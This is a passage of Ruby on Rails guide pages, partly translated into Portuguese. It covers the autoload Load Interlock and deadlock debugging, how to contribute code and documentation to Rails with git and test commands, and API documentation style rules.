When one thread is performing an autoload by evaluating the class definition from the appropriate file, it is important no other thread encounters a reference to the partially-defined constant.

Similarly, it is only safe to perform an unload/reload when no application code is in mid-execution: after the reload, the User constant, for example, may point to a different class. Without this rule, a poorly-timed reload would mean User.new.class == User, or even User == User, could be false.

Both of these constraints are addressed by the Load Interlock. It keeps track of which threads are currently running application code, loading a class, or unloading autoloaded constants.

Only one thread may load or unload at a time, and to do either, it must wait until no other threads are running application code. If a thread is waiting to perform a load, it doesn't prevent other threads from loading (in fact, they'll cooperate, and each perform their queued load in turn, before all resuming running together).

5.1 permit_concurrent_loads

The Executor automatically acquires a running lock for the duration of its block, and autoload knows when to upgrade to a load lock, and switch back to running again afterwards.

Other blocking operations performed inside the Executor block (which includes all application code), however, can needlessly retain the running lock. If another thread encounters a constant it must autoload, this can cause a deadlock.

For example, assuming User is not yet loaded, the following will deadlock:

Rails.application.executor.wrap do
th = Thread.new do
Rails.application.executor.wrap do
User # inner thread waits here; it cannot load
# User while another thread is running
end
end

th.join # outer thread waits here, holding 'running' lock
end

Rails.application.executor.wrap do th = Thread.new do Rails.application.executor.wrap do User # inner thread waits here; it cannot load # User while another thread is running end end th.join # outer thread waits here, holding 'running' lock end Copiar

To prevent this deadlock, the outer thread can permit_concurrent_loads. By calling this method, the thread guarantees it will not dereference any possibly-autoloaded constant inside the supplied block. The safest way to meet that promise is to put it as close as possible to the blocking call:

Rails.application.executor.wrap do
th = Thread.new do
Rails.application.executor.wrap do
User # inner thread can acquire the 'load' lock,
# load User, and continue
end
end

ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
th.join # outer thread waits here, but has no lock
end
end

Rails.application.executor.wrap do th = Thread.new do Rails.application.executor.wrap do User # inner thread can acquire the 'load' lock, # load User, and continue end end ActiveSupport::Dependencies.interlock.permit_concurrent_loads do th.join # outer thread waits here, but has no lock end end Copiar

Another example, using Concurrent Ruby:

Rails.application.executor.wrap do
futures = 3.times.collect do |i|
Concurrent::Future.execute do
Rails.application.executor.wrap do
# do work here
end
end
end

values = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
futures.collect(&:value)
end
end

Rails.application.executor.wrap do futures = 3.times.collect do |i| Concurrent::Future.execute do Rails.application.executor.wrap do # do work here end end end values = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do futures.collect(&:value) end end Copiar

5.2 ActionDispatch::DebugLocks

If your application is deadlocking and you think the Load Interlock may be involved, you can temporarily add the ActionDispatch::DebugLocks middleware to config/application.rb:

config.middleware.insert_before Rack::Sendfile,
ActionDispatch::DebugLocks

config.middleware.insert_before Rack::Sendfile, ActionDispatch::DebugLocks Copiar

If you then restart the application and re-trigger the deadlock condition, /rails/locks will show a summary of all threads currently known to the interlock, which lock level they are holding or awaiting, and their current backtrace.

Generally a deadlock will be caused by the interlock conflicting with some other external lock or blocking I/O call. Once you find it, you can wrap it with permit_concurrent_loads.

Contribuindo para o Ruby on Rails —...

1 Reporting an Issue

Ruby on Rails uses GitHub Issue Tracking to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them, or to create pull requests.

Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test edge Rails (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing.

1.1 Creating a Bug Report

If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under Issues in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to open a new one. (See the next section for reporting security issues.)

Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix.

Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.

1.2 Create an Executable Test Case

Having a way to reproduce your issue will be very helpful for others to help confirm, investigate, and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:

- Template for Active Record (models, database) issues: gem / main

- Template for testing Active Record (migration) issues: gem / main

- Template for Action Pack (controllers, routing) issues: gem / main

- Template for Active Job issues: gem / main

- Template for Active Storage issues: gem / main

- Template for Action Mailbox issues: gem / main

- Generic template for other issues: gem / main

These templates include the boilerplate code to set up a test case against either a released version of Rails (*_gem.rb) or edge Rails (*_main.rb).

Copy the content of the appropriate template into a .rb file and make the necessary changes to demonstrate the issue. You can execute it by running ruby the_file.rb in your terminal. If all goes well, you should see your test case failing.

You can then share your executable test case as a gist, or paste the content into the issue description.

1.3 Special Treatment for Security Issues

Please do not report security vulnerabilities with public GitHub issue reports. The Rails security policy page details the procedure to follow for security issues.

1.4 What about Feature Requests?

Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide, you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.

Sometimes, the line between 'bug' and 'feature' is a hard one to draw. Generally, a feature is anything that adds new behavior, while a bug is anything that causes incorrect behavior. Sometimes, the core team will have to make a judgment call. That said, the distinction generally just affects which release your patch will get in to; we love feature submissions! They just won't get backported to maintenance branches.

If you'd like feedback on an idea for a feature before doing the work to make a patch, please send an email to the rails-core mailing list. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted". But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.

2 Helping to Resolve Existing Issues

As a next step beyond reporting issues, you can help the core team resolve existing ones by providing feedback about them. If you are new to Rails core development, that might be a great way to walk your first steps, you'll get familiar with the code base and the processes.

If you check the issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:

2.1 Verifying Bug Reports

For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.

If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.

If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.

Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.

2.2 Testing Patches

You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. In order to apply someone's changes, you need to first create a dedicated branch:

$ git checkout -b testing_branch

git checkout -b testing_branch Copiar

Then, you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.

$ git remote add JohnSmith https://github.com/JohnSmith/rails.git
$ git pull JohnSmith orange

git remote add JohnSmith https://github.com/JohnSmith/rails.git git pull JohnSmith orange Copiar

After applying their branch, test it out! Here are some things to think about:

- Does the change actually work?

- Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?

- Does it have the proper documentation coverage? Should documentation elsewhere be updated?

- Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?

Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:

I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.

If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.

3 Contribuindo com a documentação do Rails

O Ruby on Rails possui dois conjuntos principais de documentação: os guias, que te ajudam a aprender sobre Ruby on Rails, e a API, que serve como referência.

Você pode ajudar a melhorar os guias do Rails ou a referência da API tornando-os mais coerentes, consistentes ou legíveis, adicionando informações ausentes, corrigindo erros factuais, corrigindo erros de digitação ou atualizando-os com os Rails mais recentes.

Para isso, faça alterações aos arquivos-fonte dos guias do Rails (localizados aqui no GitHub) ou comentários RDoc no código fonte. Então abra um Pull Request para aplicar suas mudanças na branch principal (main).

Ao trabalhar com a documentação, leve em consideração as Diretrizes de Documentação da API e as Diretrizes dos guias Ruby on Rails.

Para alterações na documentação, o título da solicitação pull deve incluir [ci skip]. Isso irá ignorar a execução do conjunto de testes, ajudando-nos a reduzir nossos custos de servidor. Lembre-se de que você só deve pular o CI (integração contínua) quando sua alteração tocar exclusivamente na documentação.

4 Translating Rails Guides

We are happy to have people volunteer to translate the Rails guides. Just follow these steps:

- Fork https://github.com/rails/rails.

- Add a source folder for your own language, for example: guides/source/it-IT for Italian.

- Copy the contents of guides/source into your own language directory and translate them.

- Do NOT translate the HTML files, as they are automatically generated.

Note that translations are not submitted to the Rails repository. As detailed above, your work happens in a fork. This is so because in practice documentation maintenance via patches is only sustainable in English.

To generate the guides in HTML format you will need to install the guides dependencies, cd into the guides directory, and then run (e.g. for it-IT):

# only install gems necessary for the guides. To undo run: bundle config --delete without
$ bundle install --without job cable storage ujs test db
$ cd guides/
$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT

bundle install --without job cable storage ujs test db cd guides/ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT Copiar

This will generate the guides in an output directory.

The Redcarpet Gem doesn't work with JRuby.

Translation efforts we know about (various versions):

- Italian: https://github.com/rixlabs/docrails

- Spanish: https://github.com/latinadeveloper/railsguides.es

- Polish: https://github.com/apohllo/docrails

- French : https://github.com/railsfrance/docrails

- Czech : https://github.com/rubyonrails-cz/docrails/tree/czech

- Turkish : https://github.com/ujk/docrails

- Korean : https://github.com/rorlakr/rails-guides

- Simplified Chinese : https://github.com/ruby-china/guides

- Traditional Chinese : https://github.com/docrails-tw/guides

- Russian : https://github.com/morsbox/rusrails

- Japanese : https://github.com/yasslab/railsguides.jp

- Brazilian Portuguese : https://github.com/campuscode/rails-guides-pt-BR

5 Contributing to the Rails Code

5.1 Setting Up a Development Environment

To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you must be able to run its test suite. In this section of the guide, you'll learn how to set up the tests on your own computer.

5.1.1 The Easy Way

The easiest and recommended way to get a development environment ready to hack is to use the rails-dev-box.

5.1.2 The Hard Way

In case you can't use the Rails development box, see this other guide.

5.2 Clone the Rails Repository

To be able to contribute code, you need to clone the Rails repository:

$ git clone https://github.com/rails/rails.git

git clone https://github.com/rails/rails.git Copiar

and create a dedicated branch:

$ cd rails
$ git checkout -b my_new_branch

cd rails git checkout -b my_new_branch Copiar

It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.

5.3 Bundle install

Install the required gems.

$ bundle install

bundle install Copiar

5.4 Running an Application Against Your Local Branch

In case you need a dummy Rails app to test changes, the --dev flag of rails new generates an application that uses your local branch:

$ cd rails
$ bundle exec rails new ~/my-test-app --dev

cd rails bundle exec rails new ~/my-test-app --dev Copiar

The application generated in ~/my-test-app runs against your local branch and in particular sees any modifications upon server reboot.

5.5 Write Your Code

Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with git branch -a). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:

- Get the code right.

- Use Rails idioms and helpers.

- Include tests that fail without your code, and pass with it.

- Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.

Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about our rationales behind this decision).

5.5.1 Follow the Coding Conventions

Rails follows a simple set of coding style conventions:

- Two spaces, no tabs (for indentation).

- No trailing whitespace. Blank lines should not have any spaces.

- Indent and no blank line after private/protected.

- Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.

- Prefer &&/|| over and/or.

- Prefer class << self over self.method for class methods.

- Use my_method(my_arg) not my_method( my_arg ) or my_method my_arg.

- Use a = b and not a=b.

- Use assert_not methods instead of refute.

- Prefer method { do_stuff } instead of method{do_stuff} for single-line blocks.

- Follow the conventions in the source you see used already.

The above are guidelines - please use your best judgment in using them.

Additionally, we have RuboCop rules defined to codify some of our coding conventions. You can run RuboCop locally against the file that you have modified before submitting a pull request:

$ rubocop actionpack/lib/action_controller/metal/strong_parameters.rb
Inspecting 1 file
.

1 file inspected, no offenses detected

rubocop actionpack/lib/action_controller/metal/strong_parameters.rb Copiar

For rails-ujs CoffeeScript and JavaScript files, you can run npm run lint in actionview folder.

5.6 Benchmark Your Code

For changes that might have an impact on performance, please benchmark your code and measure the impact. Please share the benchmark script you used as well as the results. You should consider including this information in your commit message, which allows future contributors to easily verify your findings and determine if they are still relevant. (For example, future optimizations in the Ruby VM might render certain optimizations unnecessary.)

It is very easy to make an optimization that improves performance for a specific scenario you care about but regresses on other common cases. Therefore, you should test your change against a list of representative scenarios. Ideally, they should be based on real-world scenarios extracted from production applications.

You can use the benchmark template as a starting point. It includes the boilerplate code to set up a benchmark using the benchmark-ips gem. The template is designed for testing relatively self-contained changes that can be inlined into the script.

5.7 Running Tests

It is not customary in Rails to run the full test suite before pushing changes. The railties test suite in particular takes a long time, and takes an especially long time if the source code is mounted in /vagrant as happens in the recommended workflow with the rails-dev-box.

As a compromise, test what your code obviously affects, and if the change is not in railties, run the whole test suite of the affected component. If all tests are passing, that's enough to propose your contribution. We have Buildkite as a safety net for catching unexpected breakages elsewhere.

5.7.1 Entire Rails:

To run all the tests, do:

$ cd rails
$ bundle exec rake test

cd rails bundle exec rake test Copiar

5.7.2 For a Particular Component

You can run tests only for a particular component (e.g. Action Pack). For example, to run Action Mailer tests:

$ cd actionmailer
$ bundle exec rake test

cd actionmailer bundle exec rake test Copiar

5.7.3 For a Specific Directory

If you want to run the tests located in a specific directory use the TEST_DIR environment variable. For example, this will run the tests in the railties/test/generators directory only:

$ cd railties
$ TEST_DIR=generators bundle exec rake test

cd railties TEST_DIR=generators bundle exec rake test Copiar

5.7.4 For a Specific File

You can run the tests for a particular file by using:

$ cd actionview
$ bundle exec ruby -w -Itest test/template/form_helper_test.rb

cd actionview bundle exec ruby -w -Itest test/template/form_helper_test.rb Copiar

5.7.5 Running a Single Test

You can run a single test through ruby. For instance:

$ cd actionmailer
$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout

cd actionmailer bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout Copiar

The -n option allows you to run a single method instead of the whole file.

5.7.6 Running Tests with a Specific Seed

Test execution is randomized with a randomization seed. If you are experiencing random test failures you can more accurately reproduce a failing test scenario by specifically setting the randomization seed.

Running all tests for a component:

$ cd actionmailer
$ SEED=15002 bundle exec rake test

cd actionmailer SEED=15002 bundle exec rake test Copiar

Running a single test file:

$ cd actionmailer
$ SEED=15002 bundle exec ruby -w -Itest test/mail_layout_test.rb

cd actionmailer SEED=15002 bundle exec ruby -w -Itest test/mail_layout_test.rb Copiar

5.7.7 Running Tests in Serial

Action Pack and Action View unit tests run in parallel by default. If you are experiencing random test failures you can set the randomization seed and let these unit tests run in serial by setting PARALLEL_WORKERS=1

$ cd actionview
$ PARALLEL_WORKERS=1 SEED=53708 bundle exec ruby -w -Itest test/template/test_case_test.rb

cd actionview PARALLEL_WORKERS=1 SEED=53708 bundle exec ruby -w -Itest test/template/test_case_test.rb Copiar

5.7.8 Testing Active Record

First, create the databases you'll need. You can find a list of the required table names, usernames, and passwords in activerecord/test/config.example.yml.

For MySQL and PostgreSQL, it is sufficient to run:

$ cd activerecord
$ bundle exec rake db:mysql:build

cd activerecord bundle exec rake db:mysql:build Copiar

Or:

$ cd activerecord
$ bundle exec rake db:postgresql:build

cd activerecord bundle exec rake db:postgresql:build Copiar

This is not necessary for SQLite3.

This is how you run the Active Record test suite only for SQLite3:

$ cd activerecord
$ bundle exec rake test:sqlite3

cd activerecord bundle exec rake test:sqlite3 Copiar

You can now run the tests as you did for sqlite3. The tasks are respectively:

$ bundle exec rake test:mysql2
$ bundle exec rake test:postgresql

bundle exec rake test:mysql2 bundle exec rake test:postgresql Copiar

Finally,

$ bundle exec rake test

bundle exec rake test Copiar

will now run the three of them in turn.

You can also run any single test separately:

$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb

ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb Copiar

To run a single test against all adapters, use:

$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb

bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb Copiar

You can invoke test_jdbcmysql, test_jdbcsqlite3 or test_jdbcpostgresql also. See the file activerecord/RUNNING_UNIT_TESTS.rdoc for information on running more targeted database tests.

5.8 Warnings

The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.

5.9 Updating the CHANGELOG

The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.

You should add an entry to the top of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix, or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.

A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:

*   Summary of a change that briefly describes what was changed. You can use multiple
lines and wrap them at around 80 characters. Code examples are ok, too, if needed:

class Foo
def bar
puts 'baz'
end
end

You can continue after the code example and you can attach issue number.

Fixes #1234.

*Your Name*

* Summary of a change that briefly describes what was changed. You can use multiple lines and wrap them at around 80 characters. Code examples are ok, too, if needed: class Foo def bar puts 'baz' end end You can continue after the code example and you can attach issue number. Fixes #1234. *Your Name* Copiar

Your name can be added directly after the last word if there are no code examples or multiple paragraphs. Otherwise, it's best to make a new paragraph.

5.10 Updating the Gemfile.lock

Some changes require the dependencies to be upgraded. In these cases make sure you run bundle update to get the right version of the dependency and commit the Gemfile.lock file within your changes.

5.11 Commit Your Changes

When you're happy with the code on your computer, you need to commit the changes to Git:

$ git commit -a

git commit -a Copiar

This should fire up your editor to write a commit message. When you have finished, save and close to continue.

A well-formatted and descriptive commit message is very helpful to others for understanding why the change was made, so please take the time to write it.

A good commit message looks like this:

Short summary (ideally 50 characters or less)

More detailed description, if necessary. It should be wrapped to
72 characters. Try to be as descriptive as you can. Even if you
think that the commit content is obvious, it may not be obvious
to others. Add any description that is already present in the
relevant issues; it should not be necessary to visit a webpage
to check the history.

The description section can have multiple paragraphs.

Code examples can be embedded by indenting them with 4 spaces:

class ArticlesController
def index
render json: Article.limit(10)
end
end

You can also add bullet points:

- make a bullet point by starting a line with either a dash (-)
or an asterisk (*)

- wrap lines at 72 characters, and indent any additional lines
with 2 spaces for readability

Short summary (ideally 50 characters or less) More detailed description, if necessary. It should be wrapped to 72 characters. Try to be as descriptive as you can. Even if you think that the commit content is obvious, it may not be obvious to others. Add any description that is already present in the relevant issues; it should not be necessary to visit a webpage to check the history. The description section can have multiple paragraphs. Code examples can be embedded by indenting them with 4 spaces: class ArticlesController def index render json: Article.limit(10) end end You can also add bullet points: - make a bullet point by starting a line with either a dash (-) or an asterisk (*) - wrap lines at 72 characters, and indent any additional lines with 2 spaces for readability Copiar

Please squash your commits into a single commit when appropriate. This simplifies future cherry picks and keeps the git log clean.

5.12 Update Your Branch

It's pretty likely that other changes to main have happened while you were working. Go get them:

$ git checkout main
$ git pull --rebase

git checkout main git pull --rebase Copiar

Now reapply your patch on top of the latest changes:

$ git checkout my_new_branch
$ git rebase main

git checkout my_new_branch git rebase main Copiar

No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.

5.13 Fork

Navigate to the Rails GitHub repository and press "Fork" in the upper right hand corner.

Add the new remote to your local repository on your local machine:

$ git remote add fork https://github.com/<your user name>/rails.git

git remote add fork https://github.com/<your user name>/rails.git Copiar

You may have cloned your local repository from rails/rails or you may have cloned from your forked repository. To avoid ambiguity the following git commands assume that you have made a "rails" remote that points to rails/rails.

$ git remote add rails https://github.com/rails/rails.git

git remote add rails https://github.com/rails/rails.git Copiar

Download new commits and branches from the official repository:

$ git fetch rails

git fetch rails Copiar

Merge the new content:

$ git checkout main
$ git rebase rails/main
$ git checkout my_new_branch
$ git rebase rails/main

git checkout main git rebase rails/main git checkout my_new_branch git rebase rails/main Copiar

Update your fork:

$ git push fork main
$ git push fork my_new_branch

git push fork main git push fork my_new_branch Copiar

5.14 Issue a Pull Request

Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and click on "Pull Requests" seen in the right panel. On the next page, press "New pull request" in the upper right hand corner.

Click on "Edit", if you need to change the branches being compared (it compares "main" by default) and press "Click to create a pull request for this comparison".

Ensure the changesets you introduced are included. Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.

5.15 Get some Feedback

Most pull requests will go through a few iterations before they get merged. Different contributors will sometimes have different opinions, and often patches will need to be revised before they can get merged.

Some contributors to Rails have email notifications from GitHub turned on, but others do not. Furthermore, (almost) everyone who works on Rails is a volunteer, and so it may take a few days for you to get your first feedback on a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such is the open source life.

If it's been over a week, and you haven't heard anything, you might want to try and nudge things along. You can use the rubyonrails-core mailing list for this. You can also leave another comment on the pull request.

While you're waiting for feedback on your pull request, open up a few other pull requests and give someone else some! I'm sure they'll appreciate it in the same way that you appreciate feedback on your patches.

Note that your pull request may be marked as "Approved" by somebody who does not have access to merge it. Further changes may still be required before members of the core or committer teams accept it. To prevent confusion, when giving feedback on someone else's pull request please avoid marking it as "Approved."

5.16 Iterate as Necessary

It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.

5.16.1 Squashing Commits

One of the things that we may ask you to do is to "squash your commits", which will combine all of your commits into a single commit. We prefer pull requests that are a single commit. This makes it easier to backport changes to stable branches, squashing makes it easier to revert bad commits, and the git history can be a bit easier to follow. Rails is a large project, and a bunch of extraneous commits can add a lot of noise.

$ git fetch rails
$ git checkout my_new_branch
$ git rebase -i rails/main

< Choose 'squash' for all of your commits except the first one. >
< Edit the commit message to make sense, and describe all your changes. >

$ git push fork my_new_branch --force-with-lease

git fetch rails git checkout my_new_branch git rebase -i rails/main git push fork my_new_branch --force-with-lease Copiar

You should be able to refresh the pull request on GitHub and see that it has been updated.

5.16.2 Updating a Pull Request

Sometimes you will be asked to make some changes to the code you have already committed. This can include amending existing commits. In this case Git will not allow you to push the changes as the pushed branch and local branch do not match. Instead of opening a new pull request, you can force push to your branch on GitHub as described earlier in squashing commits section:

$ git push fork my_new_branch --force-with-lease

git push fork my_new_branch --force-with-lease Copiar

This will update the branch and pull request on GitHub with your new code. By force pushing with --force-with-lease, git will more safely update the remote than with a typical -f, which can delete work from the remote that you don't already have.

5.17 Older Versions of Ruby on Rails

If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch:

$ git branch --track 4-0-stable rails/4-0-stable
$ git checkout 4-0-stable

git branch --track 4-0-stable rails/4-0-stable git checkout 4-0-stable Copiar

You may want to put your Git branch name in your shell prompt to make it easier to remember which version of the code you're working with.

Before working on older versions, please check the maintenance policy.

5.17.1 Backporting

Changes that are merged into main are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.

For simple fixes, the easiest way to backport your changes is to extract a diff from your changes in main and apply them to the target branch.

First, make sure your changes are the only difference between your current branch and main:

$ git log main..HEAD

git log main..HEAD Copiar

Then extract the diff:

$ git format-patch main --stdout > ~/my_changes.patch

git format-patch main --stdout > ~/my_changes.patch Copiar

Switch over to the target branch and apply your changes:

$ git checkout -b my_backport_branch 4-2-stable
$ git apply ~/my_changes.patch

git checkout -b my_backport_branch 4-2-stable git apply ~/my_changes.patch Copiar

This works well for simple changes. However, if your changes are complicated or if the code in main has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.

Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than main. When possible, it is best to first test your backport locally against the oldest Ruby version permitted by the target branch's rails.gemspec before submitting your pull request.

And then... think about your next contribution!

6 Contribuintes do Rails

Todas as contribuições recebem crédito em Contribuintes do Rails.

Orientações para Documentação de API —...

1 RDoc

A documentação da API Rails é gerada com RDoc. Para gerá-la, certifique-se que você está no diretório raiz do Rails, execute bundle install e, em seguida:

$ bundle exec rake rdoc

bundle exec rake rdoc Copiar

Os arquivos HTML gerados podem ser encontrados no diretório ./doc/rdoc.

Por favor consulte a documentação RDoc para ajuda com a marcação, e leve em consideração esses direcionamentos adicionais.

2 Wording

Write simple, declarative sentences. Brevity is a plus: get to the point.

Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".

Start comments in upper case. Follow regular punctuation rules:

# Declares an attribute reader backed by an internally-named
# instance variable.
def attr_internal_reader(*attrs)
# ...
end

# Declares an attribute reader backed by an internally-named # instance variable. def attr_internal_reader(*attrs) # ... end Copiar

Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.

Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?

The proper names of Rails components have a space in between the words, like "Active Support". ActiveRecord is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.

Spell names correctly: Arel, minitest, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.

Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".

Prefer wordings that avoid "you"s and "your"s. For example, instead of

If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.

If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. Copiar

use this style:

If `return` is needed it is recommended to explicitly define a method.

If `return` is needed it is recommended to explicitly define a method. Copiar

That said, when using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of:

- he or she... use they.

- him or her... use them.

- his or her... use their.

- his or hers... use theirs.

- himself or herself... use themselves.

3 English

Please use American English (color, center, modularize, etc). See a list of American and British English spelling differences here.

4 Oxford Comma

Please use the Oxford comma ("red, white, and blue", instead of "red, white and blue").

5 Example Code

Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.

Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use Rails coding conventions.

Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:

# Converts a collection of elements into a formatted string by
# calling +to_s+ on all elements and joining them.
#
#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"

# Converts a collection of elements into a formatted string by # calling +to_s+ on all elements and joining them. # # Blog.all.to_formatted_s # => "First PostSecond PostThird Post" Copiar

On the other hand, big chunks of structured documentation may have a separate "Examples" section:

# ==== Examples
#
#   Person.exists?(5)
#   Person.exists?('5')
#   Person.exists?(name: "David")
#   Person.exists?(['name LIKE ?', "%#{query}%"])

# ==== Examples # # Person.exists?(5) # Person.exists?('5') # Person.exists?(name: "David") # Person.exists?(['name LIKE ?', "%#{query}%"]) Copiar

The results of expressions follow them and are introduced by "# => ", vertically aligned:

# For checking if an integer is even or odd.
#
#   1.even? # => false
#   1.odd?  # => true
#   2.even? # => true
#   2.odd?  # => false

# For checking if an integer is even or odd. # # 1.even? # => false # 1.odd? # => true # 2.even? # => true # 2.odd? # => false Copiar

If a line is too long, the comment may be placed on the next line:

#   label(:article, :title)
#   # => <label for="article_title">Title</label>
#
#   label(:article, :title, "A short title")
#   # => <label for="article_title">A short title</label>
#
#   label(:article, :title, "A short title", class: "title_label")
#   # => <label for="article_title" class="title_label">A short title</label>

# label(:article, :title) # # => <label for="article_title">Title</label> # # label(:article, :title, "A short title") # # => <label for="article_title">A short title</label> # # label(:article, :title, "A short title", class: "title_label") # # => <label for="article_title" class="title_label">A short title</label> Copiar

Avoid using any printing methods like puts or p for that purpose.

On the other hand, regular comments do not use an arrow:

#   polymorphic_url(record)  # same as comment_url(record)

# polymorphic_url(record) # same as comment_url(record) Copiar

6 Booleans

In predicates and flags prefer documenting boolean semantics over exact values.

When "true" or "false" are used as defined in Ruby use regular font. The singletons true and false need fixed-width font. Please avoid terms like "truthy", Ruby defines what is true and false in the language, and thus those words have a technical meaning and need no substitutes.

As a rule of thumb, do not document singletons unless absolutely necessary. That prevents artificial constructs like !! or ternaries, allows refactors, and the code does not need to rely on the exact values returned by methods being called in the implementation.

For example:

`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default

`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default Copiar

the user does not need to know which is the actual default value of the flag, and so we only document its boolean semantics.

An example with a predicate:

# Returns true if the collection is empty.
#
# If the collection has been loaded
# it is equivalent to <tt>collection.size.zero?</tt>. If the
# collection has not been loaded, it is equivalent to
